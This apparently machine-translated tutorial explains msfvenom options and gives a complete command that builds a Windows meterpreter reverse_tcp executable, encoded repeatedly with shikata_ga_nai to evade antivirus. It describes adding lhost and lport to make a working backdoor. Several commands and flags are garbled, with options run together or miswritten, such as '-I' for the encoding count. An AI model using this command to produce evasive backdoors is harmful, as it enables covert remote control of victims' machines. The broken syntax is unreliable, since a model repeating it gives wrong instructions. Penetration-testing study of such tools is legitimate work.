Msfvenom learning

There are still many teaching videos and materials that use the previous kali version. With the update, some commands are not adapted to the latest kali. (also a person who has fallen into a trap.)

Msfvenom integrates msfpayload and msfencode, and removes the latter two after 2015. It is not possible to follow some tutorials and then lose two commands.

Msfvenom important parameters: (you can use msfvenom-h to view all parameters)

-p payload settin

-e Encoding Settings

-a system structure, default x86

-s payload maximum size

-I number of coding

-f generate file format

Several other commands:

Platform View: msfvenom-help-platforms

Specify the target platform:-- platform xxx

Format view: msfvenom-- help-formats

Check the payload settings: msfvenom-p-payload-options (you can find a lot of details such as the platform that the payload is suitable for)

Note: if you want to create a load of x64, use-a x64

Correctly generate kill-free files:

Msfvenom-p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai-I 10-f exe > 1.exe

If you need to generate a backdoor file, you need to add lhost (local host ip) and lport (local host open port) parameters.
